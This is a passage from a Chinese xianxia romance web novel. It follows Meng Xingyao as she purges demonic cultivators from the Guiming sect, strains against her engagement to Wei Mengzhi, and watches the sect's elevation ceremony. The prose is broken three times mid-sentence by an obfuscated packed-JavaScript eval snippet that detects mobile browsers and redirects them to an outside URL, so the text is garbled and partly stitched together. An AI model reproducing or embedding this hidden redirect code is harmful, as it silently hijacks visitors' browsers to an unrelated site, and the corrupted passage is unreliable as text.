岐山一战,大势已去的魔祖鱼死网破,决意困杀黎煊。 事发突然,生死一线。 谢云迢临危受命,领兵布阵,由孟星遥和危梦之分别带小队夜袭,声东击西打破魔修的包抄,而他则正面迎敌,以拖延时间。 此番布局,终于支撑到其他支援赶来,打破僵局。 大战当日,孟星遥一身妃色长裙飘摇,以九天长明灯为引,和众弟子布下万千阵法,协助白袍金甲的谢云迢大杀四方。 此战不仅救下帝君,扭转战局,更是令归明宗一战封神。 十年后,魔祖伏诛于往昔雪山的无我宫,黎煊以昆吾神剑将他钉死在王座之上,并亲手砍下了他的头颅。 传闻他离开时,魔祖的鲜血沿着台阶流下,像是铺开的红色地毯。 那具无头躯体保持着死前的姿势,静坐在王座上。头颅跌落在怀中,像是被他捧着的一束鲜花。 随着法力散去,这具身体一瞬间老了千百岁。 那些消散的法力流淌着金色的闪光,像是枯叶蝶围着他的身躯飞舞,掠过头颅上干枯如杂草的白发和沟壑遍布的肌肤,继而消失不见。 大殿里回荡着他苍老的声音:“我背叛了他,他死前还恨我,还恨我!对吗?” 黎煊停驻了脚步,他回头看了他一眼,又转身离开。 “没有,他死前一句也未曾提过你。他和你不一样,他离开的时候,很多人陪着他。” 那颗头颅蓦地瞪大眼睛,布满血丝的眼球涨红,目眦尽裂。 似乎是愤怒到极点,他忽然放声大笑,空旷的大殿里回荡着他孤寂的笑声。 气息尽断之时重渊似乎说了什么,但黎煊头也不回地走出了善行殿。 魔祖的尸体被三昧真火焚毁,唯独头颅无法被烧透,最后被装进宝祥清光匣,以十八道天罡地煞降魔令暂时封禁在太尧山的净池之下。 彼时,五大仙宗因作战有功,共同于太微殿受册封。 平平无奇的清衡山因为有了归明宗,也一同受了册封,成为钦定的四大仙山之一。 那时,他们以为那会是归明宗走向巅峰的起点,却没料到,差点成了它覆灭的开始。 虽然魔祖伏诛,天魔之战终结,但大荒的乱局远未结束。 君野成为了新的魔帝,整合余下的部将,剑指刚刚站稳脚跟的新天界。 他很愤怒,天界借着魔修内讧,趁乱将域线延申至了西荒内陆,还弹冠相庆。 这群被黎煊带出的无名新辈,不知天高地厚,是该为无知付出代价。 为了快点扩招势力,加上凡间人修数量急剧增加,五大仙宗顺势而为,都扩招了许多的人间修士。 其中以人族为主的归明宗更是中流砥柱。 为了拼得一线生机,所有人都可以说是憋着一口气。而现在,这口气随着魔祖的死亡,魔修的偃旗息鼓,突然被释放了出来,反而令大部分人都开始不知所措。 乱象就是这么突然出现的。 孟星遥在静心竹林里抓住一个偷偷修炼魔功的弟子,本以为他只是好奇心驱使,却不料盘问之下,那人一慌,把所有事都给交代了。 这个弟子也是出身南明神族,虽然是个神族,天生有法力,但想精进时却为瓶颈所困,尤其他还学不过自己的人族师弟。 当时大家和魔修缠斗多年,对魔功也多有了解,一念之差,他就动了歪心思。 而且他交代,并非只有他一人这般。 天魔之战,是天界与凡尘抗魔的全民之战,每一个人都有功劳。 即便只是对最为重要的部分人论功行赏,其实也很难做到让所有人都满意。 对修士而言,实力为尊。若是实力不济,即便有功,也很难得到让自己满意的结果。 被孟星遥抓住的弟子坦言,修魔之法是他的师父给自己的。 他的师父是当时很早就归顺于归明宗的思心门门主。孟星遥追查之下,很快挖出了宗门内一连串的暗地修炼魔功之法增进修为的产业链。 除此之外,还有以思心门门主为代表的人行不法之事,私下乱收弟子,敛财贪宝,败坏归明宗名声,等等。 当时归明宗正处于从宗门转向仙府的准备期,东曜阁筹备了很久,待归明宗升为仙府,就能给他们应有的待遇。 却没想到私欲引诱之下,竟连这点时间都等不及。 谢云迢极为震怒,命令东曜阁联手彻查此事,并设立了公明堂,以行监督赏罚之权。 归明宗人数众多,尾大不掉,他们本就有心整肃,正好借着这次机会快刀斩乱麻,凡是修魔者,一个不留。 那段日子,恰是入冬时节。 一向四季分明的清衡山连绵下了十多天的雨,许久未见天日。 在一片愁云惨淡之中,长云峰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693112|172938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和池华殿却洋溢着喜气,只因距离两人喜结连理只差不到四个月的时间。 长云峰的栖竹阁里缀满青蓝色的软烟罗点珠帘,风吹过,珠玉碰撞叮铃脆响。 外面是风雨满天阴云密布,这里却是温暖和煦。 整座松篁院装饰华美,是彩云宫的微缩版,尤其以栖竹阁为最。 阁中随处点亮着夜明珠制成的灯盏,光线朦胧,如梦似幻。走过修竹林青石路,绕过中央摆放的六扇孔雀望月紫檀木屏风,是一湾用白玉砌成的宽大温泉。 池底铺满碧青琉璃砖,波纹晃动如孔雀尾羽上渐变的华彩。云雾缭绕处,水中飘满落花桃瓣,恍如仙境。 孟星遥起身想走的时候,被人一把拉进了怀里。 淡淡的龙脑香沁入鼻尖,她的额头恰好抵在危梦之的下颚处,他环抱着她,嗓音里有陡然惊醒后还未睡醒的沙哑。 “阿遥……你又要去哪儿?” 他垂首时,两人的长发又堆叠缠绕在一起,呼出的气息温热,弄得她耳垂痒痒的。她别过头,轻轻抵开他的胸膛。 “魔修的事没下文,东曜阁还有案册未处理,阿迢催得紧,我得去办事。” “这些事,阿姊会处理的,再不行,还有我去办。阿遥,能不能多陪陪我,好好养一养身子,只有四个多月,你就要嫁与我当王后了。” 他的声音里带着微不可察的祈求,埋首在她的肩颈处。 有点点亲吻落下,修长的手指探入半拢的衣衫,肌肤相触时带来一片炙热。 她容妍貌美,婀娜多姿,气质脱尘,无处不让他沉迷。待一切走上正规,他很想和她回归南荒,生一对儿女,从此一家美满,逍遥一生。 可情动渐浓时,孟星遥却忽然挣开了他的怀抱,飘然起身。 潜入的风恰好吹起了她的长发,夜半天晴,乌云散去,露出一点星子。 “你休息吧,”她说,“我既领了命,自然得做好。” 一颗心就此空悬。 她知道他伸手想挽留她,可是衣袖拂过指尖,她还是头也不回地离开了。纤阿剑随召而来,伴她远去。 这是他们记不清多少次的不欢而散。 抵达东曜阁的时候,恰好在门口遇见了苏祈月。她一身素白长裙,几乎和月光融为一体。 “阿遥师姐?今天怎么这么晚了还过来,梦之没留你在松篁院吗?” 她浅笑盈盈地问道,见孟星遥盯着她手上的提篮,又大方地打开,里面是精美的羹汤、糕点和精心调配的宁神茶。 “阿迢他们还在里面商议事情,我给做了点夜宵,方才还让人给你们送去一份呢。” 她的手艺是好的,虽然称不上大厨,但也比一进厨房就好心搞破坏的孟星遥强了不知多少倍,尤其是一手结合了药补的炖汤更又香又滋补。 孟星遥曾好奇地问过危梦之,他那时感叹道:“虽然母后曾经教过她厨艺,但她幼时学不会,也不感兴趣,结果战乱失散的那几年反倒无师自通了,想来,我没找到她的时候,她一定吃了很多苦。” 苏祈月不喜欢别人提她身体不好的事,她虽性子柔和,但骨子里也是个坚韧的人。 修炼跟不上他们,她便私下偷偷练习。害怕打架,她便转学医术和经营,以作后盾。 除了不善打斗外,无论是出身地位,还是为人处世,抑或是学识、剑术、医道、画技等等,几乎无人提起她时不是一句夸赞。 她前些年绘制了百妖异兽山河图,在除魔降妖一事上立了功,还被太微殿特地嘉奖封赏。 而比起高高在上的孟星遥,其实宗门的人都与平易近人的苏祈月更亲近。 她温柔体贴,又无所不能。她和谢云迢就像是两根定海神针,象征着归明宗的安定和平稳。 10.第十章 见她邀请,孟星遥微微颔首:“好,想来你做的定是极好吃的。” “好阿遥,你真爱夸我。”苏祈月露出不好意思的笑,忽然贴近她,“你最近也别那么辛苦,要有了喜事,你可要第一个告诉我呀。” 她握住她的手,恰好碰到了她的红玉桃枝手镯。 苏祈月说,她母后也曾有过一只类似的红玉桃枝手镯,这是金羽孔雀王赠与唯一心上之人的信物。 一生一对,女配红桃,男配绿柳,刻以姓名,寓意此生缠绵,子嗣丰隆,永不分离。 神族子嗣单薄,孕育一子便要三年,若是母体为人族则更久,虽然孟星遥是修士,但也说不准时间。 所以他们姐弟俩都很牵挂这事。 看着她期待的目光,孟星遥忽然不知如何作答。好在这时谢云迢出来,看到她俩在屋外,尤其是孟星遥,似乎有些意外,但很快回过神来。 “你来得正好,我正想召你,进来商量一下,陪我去一趟紫微宫。” “好。” 孟星遥看了一眼苏祈月,点头示意,转头就跟着谢云迢进了东曜阁。 其实她是飞也似地逃离。 初时柔情蜜意时,她曾经十分期待嫁与危梦之,也曾想象过穿着嫁衣,伴着归明宗和彩云宫的十里红妆,丝竹弹唱,等他来牵自己的手,拜父母天地,共饮合卺酒。 如今终于要结亲,可时间越近,危梦之越依赖她,她却心情越是烦躁。 聘礼如同金山玉海般堆叠满池华殿,凡是见过者无不惊叹奢华。 嫁衣是从三年前就开始缝制,玄衣绛裙,裙尾袖摆处绣以孔雀羽翎,铺开之时极尽美丽。 等大婚时配上深红玛瑙垂珠金钗婚冠和孔雀珍珠羽扇,新娘子的美貌会在若隐若现之间令人无限遐想。 危梦之曾遗憾于美中不足,沂梦川还未能收复。但他环抱着她,仍是满心欢喜地感叹,阿遥,我终于能看见你穿上它,日后回去彩云宫,我定要补你一场真正符合神族规制的婚礼。 多么动人的一句情话,她却偷偷攥紧了手,心越发沉入海底。 她那时不懂,以为是自己的问题,想了很久原因。 他人曾说她性情凉薄,不懂珍惜,此或是其一,毕竟当初她和闻衍声也是说分开就分开。也有人说这是婚期将近,近乡情怯,人之常情,也不无道理。 直到她看见那把被他珍藏的苏梓芸和危恒大婚时使用的珍珠羽扇时,终于明白了什么。 她侧过头看向危梦之,他望向婚服的眼神里,似乎是在憧憬未来他和她婚后的日子,又或许是在透过这些,看向更久远的过去。 为了筹备婚事和备孕,危梦之几乎是明示谢云迢,不要再让她操劳归明宗的事。 几次三番后,谢云迢未松口,倒是孟星遥先忍无可忍。 她和危梦之开始经常各执己见,不欢而散。虽然争吵的最后,总是他先赔礼道歉。 他看起来是真心很想娶她。苏祈月曾笑着揶揄,谁能想到南明神族之中最为骄傲的孔雀神王,会一个两个,都为了人族女子而折腰。 但那时的她不会想到,不过四个月,她和危梦之,最终还是未能结成婚契。 归明宗的魔修之乱一事比想象得要严峻。 此次出事的并非只有归明宗一处。魔修最擅蛊惑人心,利用人性,此番又是新魔帝君野有意为之,十方仙洲早已沦陷多处。 衡天府来令,召谢云迢和她一起去紫微宫,黎煊已等候多时。 一夜未眠,燃灯长明。待他们出来时,清衡山成了第一座被山雨欲来风满楼之势所笼罩的仙山。 得执掌门令,在孟星遥的带领下,公明堂的动作迅捷,很快就顺藤摸瓜,抓出了一大片涉事之人。 有很多人认命放弃挣扎,也有人拼死一搏,试图冲出包围圈。 公明堂弟子听从号令结成镇元锁仙阵。孟星遥召出九天长明灯,以太古神力设下屏障,无量冲月剑诀的气场宏大不容抗拒,强势压迫之下,负隅顽抗者终究是缴械投降。 这次的清理门户之事,弄得兴师动众。 这群人之所以如此胆大包天,就是赌一把法不责众,即便出事,大不了被抓去消除魔气,却不料这次本就是一场陷阱。 虽然结果比众人想得乐观,涉事弟子比预估得要少,但身份却从小到大,一个比一个出乎意料。 从普通弟子,到分脉门主,再到长老亲传,不一而足。 东曜阁前的云光留仙坛从未曾挤满过如此多的人。 其实革除仙法,剔骨剥灵,不用这么麻烦,但因着是为了杀鸡儆猴,故而那次的排场非常之大。 几乎所有宗门子弟都前来观看。 谢云迢一声令下,池苒等长老结印召来通天雷刑。五方天雷术刚一布下,远处便浓云密布,天雷交加,轰隆的雷声翻滚而来。 只是听个声音,就已经有人吓得晕了过去,哭嚎求饶声此起彼伏,混杂在风声中,令人不忍卒听。 孟星遥站在看台前,内心复杂。 此事由她全权负责,经此一役,不仅公明堂名声大震,连她的威信彻底也高居不下,炙手可热。 但宗门弟子受刑之情形,并未让她高兴半分,只余唏嘘。 她有些庆幸自己未曾收亲传徒弟,不用陷入如此两难的境地。 雷刑结束得很快,不过一炷香的时间,底下的人就已经被彻底剔除了仙法。 有人还能勉励支持,有人已彻底昏死了过去。但无论如何,今天脱去归明宗的弟子服,便和归明宗再无瓜葛。 公明堂的弟子前去收拾残局,因着曾是同门,万事既了,他们也还是留了一丝情面。 有弟子摇摇晃晃地站起身,但未走两步,忽然跪了下来,朝着东曜阁的方向勉力磕了几个头。 随即在众目睽睽之下,他倒在了地上,有血渍自他的身下漫开。 孟星遥听见后面突然传来一声哭喊,有人和她擦肩而过,往下飞去。 是苏祈月。 她几乎是御风疾飞至他身边,颤抖着去摸他的脉搏。她的泪水滚落至他的眼角,却再激不起半分涟漪。 孟星遥认识她怀中的那个孩子,是她亲手把他关进了戒律塔之中。 刚抓到他的那会儿,苏祈月曾经抓着她的袖子,语气恳切:“师姐,阿窦他只是一时糊涂,他感染的魔气很少,我可以帮他去掉,他身体不好,受不住剔骨剥灵,只要我们俩不说出去,就放过他这一次……” 她说这句话的时候,虚掩着的门外,是池苒重重地扬起巴掌打在了她最心爱和骄傲的徒弟脸上,厉声呵斥:“滚,就当我从没收过你!” 孟星遥的手紧了又紧,最终没有松开阿窦的衣领。 现在想来,或许有很多更好的法子,但那时的她,无法做出更好的抉择。 阿窦是苏祈月在凡间落难时曾帮助过她的一家人仅存的遗孤,对她来说和亲弟弟危梦之一样重要。他本身灵脉平平,又被魔气伤过,在苏祈月的帮助下能保住青春,修个基础法术自保已是难得。 但有些人在见识过不属于自己的世界后,容易不甘于现状,一念之差,铤而走险。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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没人回答,她又问道:“你说,是不是我做错了?” “你没错,”谢云迢在她旁边坐下,将伞往她的方向斜,“我去训过他了,事是我让你办的。” “可是事情办得很难看,好在只是宗门内务,若是黎师父在,恐怕又要将你我二人训斥一顿。” 谢云迢沉默了一会儿,递给了她一方帕子:“衡天府的答复批下来了,最迟三个月内,归明宗必须正式升为仙府。以后这样的事,只会多,不会少。” 她没客气地接过来擦泪水。视线逐渐清晰,映入眼帘的是他棱角分明的侧脸。 苏祈月总爱说他的心又冷又硬,实则不然。不涉及情爱一事时,他细心周到,待人宽和有礼又讲义气,所以他朋友很多,连黎煊也会听他的意见。 修无情道者,有大爱而无小情。她有时候觉得他聪明,有时候又觉得活得这般克己修身,是她吃不了的苦。 不过身为他在凡间就认识,胜似亲人的师姐,她也曾见过他年少时见天上月而不可得的模样,那个天上月,就是她那位为救苍生而死的长姐代意。 可能正是因为尝过相思之苦,所以他才会干脆选择不要。这样看来,他确实是个能成大事的冷静之才。 但谢云迢说得没错,日后成为仙府,这样的事只多不少。 擦干净眼泪,她站起了身:“走吧,刚才的事,不许往外说。” 谢云迢心领神会地点点头:“嗯,我知道你要立威信。”顿了顿,他又道:“还有不到四个月就要嫁人了,这点事就哭,日后除了这里,还有南荒那边要持家,哭得过来吗?” “要你管,还不让哭了。”她没好气地冲他做了个鬼脸,夺了他的伞就走。 11.第十一章 好在苏祈月并没有病很长的时间。 归明宗升仙府一事,像是给整个宗门打了一记强心剂。先前清理门户的阴云密布,都随着腊月的冬风消散在了清衡山的茫茫林海之间。 苏祈月下床的那日,孟星遥和谢云迢一起来看她,他给她一枚新制的象征身份的副掌门印,而小孟则交给了她一张符咒,上面写了一个方位。 阿窦没有到金丹期,无法凝成神识,那样的雷刑对他来说大概率灰飞烟灭,但好在谢云迢点到即止,留了一线,他们找不到阿窦残缺的魂魄,不代表孟星遥找不到。 九天长明灯天生能引渡游魂,指点迷津,比他人费了心力布置的召魂阵法更加精进,孟星遥恰好修到了这一层,她做的第一件事,就是帮忙找到阿窦的魂魄,并且尽力修补了一下。 阿窦的魂魄无法长久停留在天界,只能送去循命数转世。孟星遥给的这张符咒留了阿窦的线索,可以让苏祈月以后去见一见他。 苏祈月拿着这两样东西,怔愣了好一会儿,随后她扑进孟星遥的怀里哭了起来,一边哭,一边呢喃了一句对不起。 她轻抚着她的背,不太明白她为什么要跟她道歉。直到她抬起头,看见了门后神色黯然,几近憔悴的危梦之。 两人对视一眼,又都匆匆避开视线。 有一块石头,轻轻压在了各自的心里,却谁都不愿先推开。 谢云迢下了铁令,归明宗升仙府的庆典,就定在一个月后。 虽然归明宗会升为仙府是私下早就人尽皆知的事,各事筹备也早早安排上了,但越接近,就越觉得有很多事没做。 先前整个清衡山及下属仙山就在扩建重修,整个规制也在重写,还有典礼、仪制、各级的礼服等等,不一而足。 最为焦虑的时候,她没忍住给重春写了一封信,巴巴地问了她一堆琅华前阵子升仙府时的经验。来信漫漫,飞如白雪。最后重春甚至还亲自来了一趟。 私下无人处,她看着焦头烂额的她叹了口气:“瞧瞧你,当初让你别走,非不听,现在够累吧?” 她翻着册子,听到她这么说,摇了摇头:“不,我不后悔。”她说:“若我不离开,我又怎能当上七曜呢?百里清音那个老家伙都不同意我练剑。” “你是个学医的好苗子,他很可惜。” 孟星遥沉默了一下,随后又道:“但是,在琅华,我只能当个平平无奇的医修。” 除了黎煊教的无量冲月剑诀外,她另一个心法无上妙华心经,正是百里清音创造出来的。 当初她和谢云迢一路逃奔至东荒望星丘时,已经身受重伤,昏迷不醒,是重春和黎煊救了他们。 她受的伤比谢云迢重,所以重春把这套心法传给了她,让她必要时能有自救之力。 因此在天玄学宫修行的大部分时间,孟星遥大部分时间都是跟着重春和百里清音的。 她的本命法器九天长明灯对天地灵气波动极为敏感,故而能召游魂,引渡迷津,也因此也能就地吸取山川百花灵草之间的灵气,皆以利用布阵施法。 法器随主,本身她在医术和药学方面也小有天分,百里清音对她很有眼缘,抱有很大的期望。 离开天玄在琅华的那短短几年,百里清音一直规训着她当自己的徒弟,想培养她继承自己的衣钵,却没料到孟星遥虽有天赋,却志不在此。 两人闹了几场,全靠重春从中调解,直到有次重春不在,孟星遥偷偷练剑被百里清音抓住,他气到飞起,把她自己偷偷养了很久的那把剑给折断了。 每个剑修的剑都是他另一种意义上的伴侣,都需要磨合培养感情,如此以往,才有可能达到人剑合一的心境。 孟星遥忍无可忍,当天就收拾包裹摘了弟子令牌离开天漠山谷。她无处可去,就这么成了一介无名无份的散修。 若不是意外遇见了谢云迢,来到了归明,她其实也不知道自己如今会有何样的归宿。或许会被重春找回去,也或许就此孓然一身。 重春知道她不喜欢提这些往事,故也只是叹了口气。正说着,廊下忽然走出了另一个人。 “哟,真是说谁谁到呢。”重春笑道,“你来得正好,你问我的事,阿遥也来问了,正好一起说了。” 孟星遥疑惑地看着谢云迢:“你不是说你去问黎师父吗?” 谢云迢轻咳了一声:“他忙,没时间管这些。” “哦~”孟星遥了然点点头,“想必是被骂回来了。这点小事都要我帮你决定?自己滚回去想。爱怎么弄怎么弄~” 她压着嗓子阴阳怪气地学黎煊说话,逗得重春哈哈大笑。谢云迢抿了抿嘴,最后也笑了出来。 “没关系的,你们尽管安排就好了,又没人定死规矩。” “就是,他不管,那我们就随便弄咯。”孟星遥狐假虎威地说道,“怪罪下来,你让他来找我,他如果真的来找我了,我就……我就躲到师姑身后去,我看他敢怪她不。” 重春点了一下她的鼻子:“你呀,就会拿我当挡箭牌,当初说走就走,也不知道我会担心。” 孟星遥眨眨眼,还没来得及答话,忽然听见另一个灵动又柔和的声音。 “是孤山师姑来了?”苏祈月走进了凉亭,嗔怪地看向谢云迢,“你怎么也不和我说一声。” “我也是才知道。”谢云迢说。 “无妨,我恰好途径清衡,这才顺路来看看。”太和帝君璩清微的侄女,独自执掌横跨东荒和北荒的天漠山脉的前北天帝君之女,七曜之一的玉衡神君——孤山春殿下点点头,看向苏祈月,“你今天气色不错,看起来身体好了很多,不像儿时那般柔弱了。” “是吗?”苏祈月温柔地笑了笑,“可能是人逢喜事精神爽吧。” 确实是一件大喜事。 归明宗定下升仙府的那日,恰是新年伊始。 庆典不说极为隆重,也是归明宗有史以来最盛大的排场。 寅时刚过,天幕初明。自清衡山为中心,向四面八方延申,一座又一座点亮西洲之上归属于归明仙府的仙山,灯火明亮,恰与天上长庚遥相辉映。 山门之上,高楼宫阙,处处张灯结彩,数千金红色的灯笼、彩带悬挂飞檐之下,华丽盛大。 数百名身着归明仙服的弟子,玉冠金衣,御剑飞起,以心印真诀最高重啸日剑法结成法阵,行动整齐,舞步优美,预示着典礼的开启。 舞阵收尾的一刹,九座金鼎自云海之中升起,投射出的霞光在最高的留仙坛广场铺开百里画卷。 画卷之上,栩栩如生,鸟兽相鸣。山水之间,美不胜收,竟是清衡山座下最有名的十处胜景。 画卷铺开的同时,山门前传来一声清越鹤鸣。二十六只红顶仙鹤引着仙府座下各宗门精英弟子踏云而来。 执事弟子捧着玉册高声唱名,每报出一个宗门,对应的弟子们便恰好走到留仙坛中央的看台,向座上的各位尊者们结阵行礼。 天光之中,掌门谢云迢踏着长虹而来。他头戴玉冠金钗,身着云纹素雪广袖长袍,腰佩燿灵长剑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15714385|172938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽显威仪。行走间,拖地衣摆之下有红色暗纹翻涌如浪花盛放。 在苏祈月、危梦之的陪伴下,他于众目睽睽之中,走上长长的玉阶,焚香叩首,依行祭礼。最后独自一人走上最高处,重重地敲响了那悬挂于高台的金钟。 随着金钟发出气势如虹的巨响,有万丈之高的白虎法相随掌门召令,凝聚化形于群山之上。 金色的虎瞳怒瞪四方,威猛的巨爪踏碎高山,仰天长啸一声,刹那地动山摇,天地为之一暗。 谢云迢落座于最高处的掌门位上,身后是睥睨四方的监兵神相。有耀眼的金光自他身后如繁星散落,流淌开来,瞬间笼罩千里山河。 西天白虎,大千法象。 自此,归明宗正式更名为归明仙府。 谢云迢为掌门,苏祈月和危梦之继承旧宗封号,分别为二、三掌门。孟星遥为首座长老,为众长老之首。几人以东曜阁为首,共辖座下二十六仙宗。 隆重典礼结束,众人欢聚一堂,赏梅品酒,共享盛大的宴席。 宴席摆了千桌,还差点不够。典礼总策划兼总导演孟星遥望着酒席之上觥筹交错,心里是又肉疼又暗爽。 这次几乎把天界所有有名望的人全请来了,攒了一辈子的家底,就看这一次。 好在效果不错,不错到主位之上的黎煊呷了口酒,皱着眉头道:“你还真是威风啊,早知道我登帝之时的仪式,让你来操办了。” 谢云迢目不斜视地给他斟满了酒,小心翼翼地放下酒壶:“师父,喝酒。” 黎煊乜了他一眼。 “知道了。”谢云迢说,“下次我会低调一点。” 他在他人跟前是万人之上的归明仙府掌门,在黎煊面前,却还老实得像个初出茅庐的徒弟。 孟星遥看不下去,酒壮怂人胆,不顾一旁重春的阻拦,开口道:“师父,是你自己没给个准信,我们当然只能按自己的想法来,而且哪有那么夸张,我们连神兽都没有……” 重春敲了她脑袋一下,无可奈何地叹了口气。 谢云迢忙道:“师父……” “我有说怪你们吗?”黎煊奇怪地看着他们,“我不是在夸你们吗?” 满桌鸦雀无声,直到长昀拍着他的肩膀,扑哧一声笑了出来:“有你这样拉着一张脸夸人的吗?” 他一向稳重温和,笑起来更添亲切。被他这么一打趣,尴尬的气氛终于化开。黎煊叹了口气,顺着台阶而下:“行吧,我的问题,不过……” 他看了一眼孟星遥和谢云迢,继续道:“你们要是能把西荒余部夺回来,别说这个,下次提前说一声,我让长昀送几头英招和貔貅来给你们守门。” 孟星遥的眼睛瞬间瞪大。 不敢想,这几只神兽摆到清衡山下守门,那得是多大的排面。这可是连其他仙门和神族都没有的待遇。 光是想想,她就要乐不可支了。 今日满座贵客,他们这一桌没吃多久,就有许多人来陆续敬酒。 很多人难得近距离接触到黎煊和长昀,都借着这次机会来露脸,谢云迢作为他们跟前的新贵,自然也不会被放过。 好在有苏祈月作为二掌门陪着,倒也替他挡掉了许多。 不过这倒是轻松了孟星遥,她本就不擅长应付酒局,相比之下,苏祈月八面玲珑,长袖善舞,确实比她更得心应手。 宴会间隙,她喝多了酒,溜出来透气,寻了个人少的地方刚坐下,忽然就听见身后传来一声清冷如雪的男声:“阿遥?” 12.第十二章 她回过头,入目恰是朗月清风,如兰芳华。 那谪仙般的碧衣男子冲她淡淡一笑,算是打了个招呼。 原来是闻衍声。她下意识地站起身,端正姿态冲他回了个礼。 天府诸事繁忙,算起来,他俩也很少有机会单独遇见,上次碰面还是分封七曜之时,俩人也是同样只淡淡地打了个招呼。 她说不上来对他有什么感情,表面上他俩似乎气质相近,极为登对。她知道其实并不然。 闻衍声私下是个守礼到有些古板的人,比谢云迢还少年老成。她对着他连撒娇都撒不出来。 没人知道,他俩私下呆在一起时,最常干的事不是花前月下,居然是暗自较劲谁先学完一本典籍真卷。 有这样一位天玄学宫的模范生带着内卷,谈恋爱的那几年,是她修为进步最飞速的时期。 比起他,她反而更喜欢跟他的胞妹闻晴一起玩,闻晴生性天真好奇,比他可爱不知道多少。 但理所应当的,他俩分开,也是因为蓬莱那边的老神族得知后,不同意孟星遥这种身份平平的普通人玷污他们指定的优秀继承人。 他俩分手那天,闻晴哭得比她哥还伤心。孟星遥不得不安慰她,我只是跟你哥分手了,不是跟你绝交了。 其实很难想象这样的兄妹俩,居然在回到蓬莱后不久,带头造了那群老古董的反,改宗立派为云湫,执掌东荒东洲及蓬莱仙岛,受青龙之封,称臣于太微殿中。 闻衍声见她起身,便从袖中取了一物递给她:“当年你跟我提起,后来在仙都没能给你,正好这次送来,算是我单独给你的新婚贺礼。” 他递过来一个包装精美的锦盒,打开后,软布之上是一支长得像蝴蝶的蓬乡贝。 蓬莱遍地都是蓬乡贝,但大部分贝壳都长得中规中矩,只有恰好两只贝壳的背部因东海海底灵力波动意外合到一起,才能形成一只美丽的蝴蝶,泛着夺目的虹彩色泽,又被人喊做海生蝶骨贝,价值不菲。 但他应该也不会只送这个。孟星遥打开翅膀,果然看见里头装着散发出异香,带着金闪的深蓝色香泥。 蓬莱擅制香,沉香韵味,各有千秋。不仅风雅高洁,功效颇多,对修为也很有裨益,很受修士欢迎,以至于一两千金,市面上也有很多假货。 孟星遥所求的更是他们独有的祖传秘香,别名蓬莱仙人香,此香他们只给族人用,小气得很。 她曾经开玩笑说想要,后来两人分手,她自然以为这事不了了之,没想到会在这儿拿到。 孟星遥拿着锦盒,一时有些接不上话。 恰在此时,忽然有人挤到了她跟前。 “我当是谁呢,原来是闻掌门啊。”危梦之摇晃着他的孔雀羽扇,就这么突然冒了出来。 自上次吵过架,两人已经好一阵子没说话,他突然冒出来,吓了孟星遥一跳。 下一刻,她鼻尖嗅闻到浓烈的酒香。 暗叫不好,今天酒宴,虽然尽量用的是清酒,但为了撑场面还是放了几瓶烈的,尤其是千日春。 看他这酒气,想必喝了不少。 果不其然,虽然危梦之看上去还能勉强行走,但他的脸上通红,一直蔓延到耳根和衣领深处。 他挡在两人之间,瞅着孟星遥手里的锦盒,神色不善地开口道:“怎么,我们俩结亲,礼物只送阿遥,不送我?闻师兄,大家皆为同门,你我的情谊就只到这份上吗?” 气氛有一瞬的凝滞。孟星遥伸手扯他衣袖,想劝一劝,闻衍声倒是礼貌一笑:“梦之说笑了,给你的礼物太大,我不便带着,等下就派人送去你的府邸了。” “哦,是什么?” “听说你也喜欢那株东海血珊瑚,我便送来了。” 危梦之凤眸微狭,没有说话。 两人交谈的间隙,闻衍声的视线透过他,又落到孟星遥的身上。 但不待她回望,那抹目光已经客气而疏离地退了回去,像穿林而过的微风,未曾留下片刻痕迹。 “行了,你今天作甚喝这么多酒?” 孟星遥没好气地悄悄拉了他一下,危梦之被她一扯,略微转过身来。虽然怒气冲冲,眼底却有一丝微不可察的泛红。 她有些讶异,皱了皱眉,似乎想起了什么,往他过来的方向看去,恰好听见有人喊到:“阿遥姐姐!” 映入眼帘的是身着绿裙的少女,她开心地朝她跑来,但还没跑两步就差点被绊倒,吓得闻衍声和她赶紧去扶她。 “没事没事,我没碰到。” “冒冒失失的,跟你说几次了。”闻衍声说,“在外面稳重点。” “哦……咦,哥,你怎么在这儿啊?”闻晴惊讶地说,“阿兰姐姐在外面找你半天呢。” 阿兰?孟星遥觉得这名字好耳熟,脑子里过了一遍,突然想起之前听人说起蓬莱仙洲那边近日很是热闹,似乎是云湫掌门也在议亲了。 两人的家里是门当户对的世交,天造地设,佳偶天成,女方好像就叫什么公陵兰。 但闻衍声没什么表情,仍是那副淡然高洁的样子,他嘱咐道:“你是第一次来清衡,别乱跑,本来就认路慢,等会又迷路了。” “不会的啦!我又没乱跑,我一直跟着沧玉师兄呢。” 闻晴这么一说,几人才注意到她身后还有一个人正推着另一个人走来。 来人正是重霄掌门楚沧玉,他一身绛紫华服,温和有礼地朝大家点了点头,身后的灰衣仆人走出两步,也规规矩矩地朝众人行了个礼。 楚沧玉是个天残儿。 他出生时就少了一条腿,也不能飞翔。虽然琅华对机关术颇有研究,又与南明神族关系不错,但他是天生残疾,无法用神术仙法修补,装了义肢也不甚好用,故而从小到大都坐着轮椅,由一位叫阿莱的家生仆人陪着。 